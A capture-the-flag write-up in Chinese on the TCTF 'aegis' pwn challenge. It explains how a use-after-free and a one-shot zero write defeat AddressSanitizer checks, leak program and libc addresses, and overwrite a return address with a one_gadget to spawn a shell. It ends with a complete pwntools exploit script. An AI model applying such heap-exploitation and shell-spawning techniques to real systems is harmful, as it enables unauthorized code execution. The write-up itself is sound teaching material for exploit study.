TCTF-aegis详解

题目很好值得学习一下

静态分析

拿到题目仔细的分析能发现这是address sanitizer机制可以检测各种的错误,并且自己建立了一个malloc机制。所以glibc的那一套堆分配并没有作用。

main


实现一个菜单功能

add_note


先加入content然后加入id,地址是存在一个固定的地址,之后可以在动态调试的时候看的出来。同时可以计算出check的地址,也是不会更改的。

show_note


普通的一个show函数

update_note


在此处有一个可能溢出的地方,但是由于会有checker一溢出就会造成crash,具体动态调试的时候可以发现。

delte_note


存在uaf,后面可能可以利用,直接的利用是不存的会被一只checker

secret


可以任意地址写0,但是只能写一次0,我猜是吧某个checker改为0然后进行一个利用。

动态分析

这个题目还是要靠多动态分析才能出来,首先来几个text看看checker的报错

error


这是heap use after free后的结果,看的出他check的位置,同时看报错能发现写入00可以绕过checkser。同时溢出也会报错。

heap


地址与分布,并且不会改变,从这里可以看出heap储存的规律大概是一个heap,然后一个索引的heap指针,那么如果我们能控制指针指向说不定能做很多事情。

思路part1

有一定思路后开始进行尝试,首先调试heap and checker 让其能制造一些可用的溢出来。

一、由逆向可知每次updata会检查cfi_check函数,然后根据heap记录的大小来进行输入,如果我们可以进行一个overflow去写一个0就能做出更大的溢出接下里尝试一下。

overheap_sucess

这里就不具体写了,需要读者自己去调试,找到合适的size去改写,然后制造一个pointer to leak,最后的效果是达到一个指针指向heap就可以造成leak了。

part2

可以做到leak,我们能得到的programmer base address和libc base address这时候发现给了libc赶紧吧one_gadget算出来先。再去思考应该写哪里。

坑1

会发现尝试写一个malloc-hook(内置的机制非glibc)会有报错,跟进报错的函数,会检查一个指针是否完好,不完好就会执行


这里可以发现会调用一个函数,这个函数在跟进去能发现会有一个call rax,溯源rax的位置是否能被利用。发现他是在bss段是可进行更改的一个值,于是明确了改的思路。

坑2


直接写one发现是不可行的,只能继续想,发现其他函数还是可以的,结果发现rdi在栈上想可能可以利用栈溢出进行一个利用。

final

最后发现是可利用的,改写栈上的ret地址就可以达到一个getshell的作用。关于等下exp上的’\x00’*0x100是为达到清空栈满足onegadget条件

exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
from pwn import *

debug=1
#context.log_level='debug'
context.log_level = 'debug'

if debug:
p=process('./aegis',env={'LD_PRELOAD':'./libc-2.27.so'})
gdb.attach(p)
else:
p=remote('111.186.63.209',6666)

def get(x):
return p.recvuntil(x)

def pu(x):
p.send(x)

def pu_enter(x):
p.sendline(x)

def add(sz,content,id):
pu_enter('1')
get('Size')
pu_enter(str(sz))
get('Content')
pu(content)
get('ID')
pu_enter(str(id))
get('Choice: ')

def show(idx):
pu_enter('2')
get('Index')
pu_enter(str(idx))


def update(idx,content,id):
pu_enter('3')
get('Index')
pu_enter(str(idx))
get('Content: ')
pu(content)
get('New ID:')
pu_enter(str(id))
get('Choice:' )

def delete(idx):
pu_enter('4')
get('Index')
pu_enter(str(idx))
get('Choice:')

def secret(addr):
pu_enter('666')
get('Lucky Number: ')
pu_enter(str(addr))
get('Choice:')

add(0x10,'a'*8,0x123456789abcdef)
for i in range(4):
add(0x10,'b'*0x8,123)

#0x602000000000
#0x7fff8000

secret(0xc047fff8008-4)
update(0,'\x02'*0x12,0x111111111)
update(0,'\x02'*0x10+p64(0x02ffffff00000002)[:7],0x01f000ff1002ff)
delete(0)
#raw_input("#")
add(0x10,p64(0x602000000018),0)
#raw_input("#")
show(0)

get('Content: ')
addr = u64(get('\n')[:-1]+'\x00\x00')
print addr
pbase = addr -0x114AB0
get('Choice: ')

update(5,p64(pbase+0x347DF0)[:2],(pbase+0x347DF0)>>8)
show(0)

get('Content: ')
addr = u64(get('\n')[:-1]+'\x00\x00')
base = addr -0xE4FA0
get('Choice: ')

update(5,p64(pbase+0x0FB08A0),p64(pbase+0x7AE140))
#update(5,p64(pbase+0xfb08a0+0x28),(pbase+0xfb08a0+0x28)>>8)
raw_input("aa")
pu_enter('3')
get('Index')
pu_enter('0')
get('Content')
#raw_input(hex(pbase+0x7AE140))
pu(p64(base+524464)[:7])
#get('ID')
raw_input("#get"+str(hex(pbase+0x7AE140)))
payload = 'a'*471+p64(base+0x4f322)+'\x00'*0x100
#raw_input(hex(base + 0x4f322))
pu_enter(payload)


p.interactive()

####总结
题目难的真实。。。